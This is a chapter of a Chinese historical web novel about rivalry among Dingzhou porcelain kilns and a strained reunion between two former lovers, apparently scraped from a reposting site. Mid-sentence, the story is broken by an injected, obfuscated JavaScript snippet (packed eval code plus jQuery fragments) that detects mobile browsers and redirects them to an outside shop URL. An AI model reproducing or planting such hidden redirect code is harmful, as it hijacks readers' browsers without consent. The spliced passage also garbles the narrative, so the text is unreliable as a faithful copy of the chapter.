60. 无言
作品:《碎碎平安》 秦行老,是定州瓷作的话事人。
定州瓷作,说白就是了瓷器行业协会。
繁华如汴京,各行各业都有规模各异的行会组织,除了用来约束行业内从业者的经营行为,有时行会管理也会出面同官府沟通税额之类的问题,作为非官方组织,行会的存在能够在一定程度上避免同行间的恶性竞争,并因作为各行业与官府之间的调解者而颇具权威。
但遇上沈家这样垄断了一门技术的‘硬骨头’,行会管事即便想管,也是有心无力。更何况,他们还同官府中办事的那些能吏有不错的交情。
故而多年来,秦行老对沈家挛窑收取的费用乃至费用不断增长的事,总是睁一只眼闭一只眼。
毕竟,就算把姓沈的拉下来,这核心技艺与细节门道都捏在沈家人手中,能找谁填上这空?无端造成定州瓷业动荡罢了。
可如今,情形不同了。
秦行老须发花白,端着一杯滚烫的茶水坐在上首,听完吴渭与其他几个瓷坊主的说法,心中有几分不敢相信。
谢家窑,不过是定州城一个再普通不过的窑口,说“名不见经传”都显得有点儿客气了,他们连进入定州瓷作议事的资格都没有。比起在座这些经营得越来越红火的瓷坊主,谢家窑就像是捡着人家残羹剩饭过日子的小破作坊。
他们能捣腾出成瓷率七成以上的新窑样式?
秦行老下意识觉得,这恐怕还是沈家人搅闹出来的事。
沈氏兄弟之间的不睦已经是定州城人尽皆知的事,现如今这仔细一琢磨,前头那桩桩件件就变得顺理成章起来。
想来就是沈闳手握新窑样式又不肯屈居于兄长之下,干脆破罐子破摔,借着女儿婚事的由头把事情闹大,实则意在脱离家族掌控,好将那挣钱的活计紧握在自己手中。
而谢家窑,不过就是沈闳父女用来试验新样式窑炉时选的小作坊罢了。若成事,给点钱打发了,谁都不亏;若不成事,以沈闳的手艺,折价给谢家起个旧样式的炉子,照样伤不着谢家窑从前吃的那碗残羹剩饭。
作为行会管理者,秦行老很懂得,关涉各方切身利益的事,着急表态乃是大忌。
他面上不动声色地听着各个瓷坊主搜罗来的传言,好似对他们说的那件事丝毫不感惊讶,耐心地等他们说完一轮后,稳如泰山地搁下茶杯,“诸位所言之事,老夫早有耳闻,只是这新窑炉也才烧了一两次而已,待其产瓷稳定之后再做打算,也不迟呐。”
吴渭却听得眼前一黑,那可太迟了!
等烧出第三窑再做打算,他那欢宴楼的酒席怎么办?
但秦行老说一不二,铁了心不欲理会他那一盘小肚鸡肠,没让他们再多说那些车轱辘话,随口安抚了几句便把几个人打包送走了。
转过身他就叫人去请沈闰。
沈闰,穿得像个居家赋闲的大儒名士,兜着两袖清风就漫步而来,他坐下后先整了整自己的衣袍,而后对着秦行老拱手笑道:“秦兄,多日不见,近来可好?”
秦行老敷衍地回应道:“尚可。”
紧跟着就一句废话都不垫巴地直接发问,“沈兄近来可有听说定州城出了新窑炉的事?”
“听过,就是个小窑口,求到我沈家门下却因囊中羞涩而无力起新窑。总归是一家人,后来我便让五弟前去接了这一单,他手艺传自沈氏,自然信手拈来。”说着,又无奈地摇头叹了口气,“想来秦兄也知晓,我这弟弟为女儿的婚事同我有过些许龃龉,他性子拧巴,如今接活都故意按的低价……罢了罢了,由他闹腾吧。”
沈闰已深谙“家和万事兴”的道理,明面上的那套说辞亦是信手拈来,俨然一副分明焦头烂额却强撑着宽宏大量的大家主姿态。
更何况,上回薛娘子去明月巷找沈如琅‘叙旧’,也探到了些许消息——谢家窑起的那新炉子没什么特别的,也就是他们实在凑不到钱,故而看在第一单生意的份上就给赊账并减了些用料。
沈闳从沈家出去,手里几斤几两,他这个做兄长的还能不知道?
所谓新炉与赌约,不过是小作坊意欲博人眼球的微末伎俩罢了。
然而秦行老却从他这几句话中听出了别的意味,斟酌半晌,接着问道:“沈兄可知晓,那谢家窑的新炉第二次烧窑便有六成多的成瓷?”
沈闰一顿,两个大袖里的清风瞬间就呼号起来,尖利的吼声在喉咙口张牙舞爪地试图往外窜,他格外勉强地压制住那两袖造反的风,声音有点儿尖地说道:“六成?这恐怕是从他们那小破窑口放出来的风声?”
也有可能不是。
沈如翰一边擦手一边听父亲的分析,新窑成瓷率在六成以上,以现下的挛窑技术而言,只有一种可能:运气。
听说谢家挛窑前摆了挺大阵仗,又是祈神又是摆席的,难不成真有神仙闲得吃屁,跑下凡来助那一家子穷鬼烧瓷了?
沈如翰心头蒙着淡淡的阴翳,他这几日也从大大小小的瓷坊主那听说了谢家窑的事,不知为何,总有些不太好的预感,就像窝着一肚子将雨未雨的阴云,说不准甚个时候老天爷就泥沙俱下地吐出一场暴风雨来。
他把擦手的帕子扔回铜盆,转身向薛娘子道:“娘,您再往明月巷走一趟吧。”
宽阔的马车辚辚驶过起伏不平的路面,偶尔车轮碾过几颗不甘心的小石子,二话不说就从车辙里炸了出去,发出清脆的哔啵声。
有点像灶膛里的柴火在鸣叫。
姚迢半阖着眼坐在马车里,身体跟随马车同频颠簸晃动,好似浮萍落到涟漪里,无所依寄地四处荡游。旁侧坐着战战兢兢的谭文清,那装瓷塑的木盒被他拖抱于怀中,时不时就掀起眼皮看一看母亲。
他那些迂回曲折的战术尚未正经施展,母亲就先下手为强,直接把他拎上马车,从城内到城外,谭文清看着陌生的村庄,心中思绪万千。
母亲将那只金钗珍藏了二十年,这二十年里她却从未对父亲开口说过旧事。
父亲临终前曾握着他的手,嘱咐他要潜心向学,振耀门楣,也嘱咐他必得孝顺母亲,若有机缘,则要他陪着母亲去找那金钗的主人,或可再续前缘。
起初,谭文清不太理解父亲的决定。后来,寡妇再嫁的事听得多了,心里便也释怀,总不好叫母亲赔上余生只为他一人,往后他若有幸高中,未必能时时侍奉于母亲跟前,她合该另嫁,后半生也好有所倚仗。
只是谭文清实在看不明白,母亲若无意前缘,又何必将旧事掩藏心底多年?她到底是放下了还是没放下?
不多会,马车驶入涧西村,最终在一间堆着不少瓷器的院落前停下。
姚迢提着裙摆走下马车,她拂开谭文清的手,径自走到院门前敲门环。应门的是一个俊俏后生,眉目间与那谢小娘子有几分相似,谭文清暗道:果真是她家。
俊俏后生撞上几张生面孔,礼貌地点头致意,“敢问,客找谁?”
姚迢道:“我找谢正晓,你告诉他,我姓姚。”
院落里堆砌的瓷罐蜷缩成一团,其中几个罐子里盛了点土,分别撒了把葱籽,已长出茂密的葱林,各个拔长了腰杆,探头探脑地往侧边厢房的方向伸展。
猫在‘葱林大军’背后的谢烈雨,也有样学样,跟着把硕大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835782|182999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的身躯团成一团,拼命拔长脖子往院墙内探看,就是他这副形容吧,不比小绿葱那般纤细可爱,他看起来像只猥琐的大王八。
摘菜回来的谢大哥一眼看到他这副不上台面的样子,忽然就理解了三叔的习惯,两条腿有点不受控地走到近前,抬起一脚就踹向他的屁股,“你做甚?在自个儿家贼头贼脑的,像什么样子?”
再说了,不远处的马车上还坐着外客呢,叫人家看见,闹笑话。
谢烈雨冷不丁遇袭,差点摔了个屁股墩,他委委屈屈地捂着屁股站起来,又忽闪着两只好奇的大眼睛,“哥,来寻咱叔的那个娘子,什么来头?是说亲的不?可我看着也不像啊……咱叔光棍这多年,终于有希望了?”
谢大哥忍不住白了他一眼,“你要是闲,就来厨房搭把手,烧火去!”
谢烈雨心有不甘,但还是乖乖地跟着谢大哥往厨房走去,嘴里嘟囔:“他们聊什么呢?怎么一点声音也听不见。”
那是因为,厢房内的二人,根本就没说话。
姚迢看了看桌对面沉默又局促的男人,不得不承认,那瓷塑做得倒是真不错,至少与眼前这男人有七八分的相似,叫人看一眼便认得出。
只不过,“你叫人送来的瓷塑是何意?”
姚迢没有说那些冠冕堂皇的寒暄,二人阔别多年,她也有些惊异于自己的直接,好似穿过那各安天涯的二十年,她依然拥有随时质问他的底气。
谢正晓疑惑又惴惴的眸光从姚迢的袖子上落到她手边的盒子里,随着她伸手揭开盒盖,男人平淡的眼眸霎时剧震,眨眼的瞬间他就想明白自己那亲侄女做的‘好事’,可面对眼前女子,他却依旧保持了缄默不言。
姚迢最恨的就是他这副不言语的模样。
她紧攥着手,圆润的甲缘在指腹掐出一道粉白的痕迹,一如她此时的脸色,“怎么,是听说我近来丧夫回乡,携子孀居,你又觉得你配得上我了?所以,送这么个瓷塑过来试探一二。”
谢正晓的脸倏然惨白。
即便是端着这么一张常年累月被日火与窑火烤得黑红的面皮,姚迢的话依然使得‘关公脸’上隐隐泛出青白之色,他双唇狠狠一颤,似乎是有话要说,却仅是那么昙花一现的冲动,终究还是把嘴皮子缝上了。
姚迢静静看着他,一种拳头打在棉花上的无力感摧毁了她的底气,她忽然感到自己今天这一趟来得委实莫名其妙。
当年将那钗子送给他,他没来,不就已经是明摆着的回答了,她又何苦在二十年后来这一趟,非得是上赶着自取其辱。
质问的底气瞬间就消散,她把木盒里的瓷塑往前推了一推,“罢了,你既不愿同我说话,我把话说完就走。这瓷塑我就当是送错的货,损毁至此,乃是我有意为之,算我之过。这瓷塑你谢家窑按多少价码出售,我照价全赔。”
听到她要付钱,谢正晓总算找回了自己的舌头,“不、不用。”
姚迢冷哼一声,“我死了丈夫不假,但这点散碎银两我还出得起,莫说一个瓷塑,即便砸十个,你尽管报账就是。”
她是存心向他捅刀子,他却好似不知痛,说完那声“不用”就又陷入沉默的牢笼,姚迢实在不愿同他再这般僵持下去,伸手把旁边另一个盒子往前推了把,“这有二十贯钱,若是不够,你派人到谭府知会一声就是。今日叨扰,告辞。”
说完,姚迢就迅速起身,在她迈出门的刹那,身后仿似传来一声极轻的呼唤——
阿迢。
迈出去的那脚步轻轻一顿,顿得也很轻很轻,就如同那一声若有似无的呼唤,而后她头也不回地走了。

